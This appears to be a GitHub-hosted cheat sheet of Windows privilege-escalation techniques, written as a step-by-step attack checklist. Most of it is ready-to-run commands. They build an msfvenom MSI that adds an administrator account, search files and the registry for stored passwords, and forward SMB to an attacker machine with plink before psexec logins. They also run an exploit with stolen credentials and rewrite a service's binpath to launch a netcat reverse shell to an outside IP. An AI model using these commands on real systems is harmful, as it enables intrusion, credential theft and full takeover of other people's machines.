-
Notifications
You must be signed in to change notification settings - Fork 1
/
Windows_PrivEsc_Techniques.txt
184 lines (97 loc) · 12.8 KB
/
Windows_PrivEsc_Techniques.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
steps to follow :
1. infilitrate accesschk.exe from kali box using any file transfer method .
2 check for AlwaysInstallElevated from registry by using following command :
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
if we get this output “REG_DWORD 0x1” for both
its vulnerable !
to escalate : a.) on kali : msfvenom -p windows/adduser USER=menoe PASS=P@ssword123! -f msi -o menoe.msi
b.) transfer file to victim windows machine .
c.) run this command on victim : msiexec /quiet /qn /i C:\Users\menoe\Downloads\menoe.msi
where ,
/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation
d.) confirm using command “net localgroup administrators” . finally , if RDP is present login using newly added admin OR drop net cat reverse shell and execute instead of add user msi
3. check using commands which group he belongs to ,
a. whoami
b. hostname
c. net users
d. net localgroups
e. net user <user>
4. unattended installs . find unattend.xml inside ,
common places : C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
must try : findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*
# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
note : In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf files on the file system. These files can also contain credential information utilizing during deployment of OS.
once found : echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d
and in all these things. must try :
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
in registry ,
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
cmdkey /list
5. if credentials is found anywhere , GREAT! now check if SMB port is open , if not found , smuggle plink.exe to victim then,
a.to start ssh server on kali : service ssh start
a. do remote forward using , plink_32.exe -R 445:127.0.0.1:445 <attacker-ip>
b. now on kali box : python psexec.py DOMAIN/administrator:password@localhost
OR
winexe -U Administrator //127.0.0.1 "cmd.exe"
OR
python smbexec.py DOMAIN/administrator:password@localhost
if so use new creds and get remote shell using , psexec.py
like : python psexec.py DOMAIN/administrator:password@victim-ip
like : python smbexec.py DOMAIN/administrator:password@victim-ip
if not , thennnn compile a reverse shell exe payload from msfvenom and transfer to victim .
then(powershell),
$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\exploit.exe"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}'
or save all that in a file then ,
powershell -ExecutionPolicy Bypass -File rrun.ps1
6. here comes the interesting part ! weak services! :D
accesschk.exe /accepteula -uwcqv "Authenticated Users" * (on old machines < win xp)
post that , u can specify the group your limited user is in <<
sc config upnphost binpath= "C:\nc.exe <ip> 6666 -e c:\Windows\system32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""
sc config SSDPSRV depend= ""
net start upnphost
7 . andddd! weak file permissions : windows xp and below or above :
accesschk.exe /accepteula -qwsu "Authenticated Users" c:\
accesschk_old.exe /accepteula -qwsu "Users" c:\
accesschk_old.exe /accepteula -qwsu "Everyone" c:\
using wmic ( need admin permission win xp)
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
icacls "C:\Program Files (x86)\Till<space<folder" (cacls for windows xp and below)
8. scheduled tasks : schtasks /query /fo LIST /v
9. if you have tested all and got nothing > go back to links above and check if you missed something . if all done finally!, systeminfo >> kernal exploit >> :D :D
10 . use winprivcheck.exe to autofind vulns or use powerup script for powershell priv esc enumeration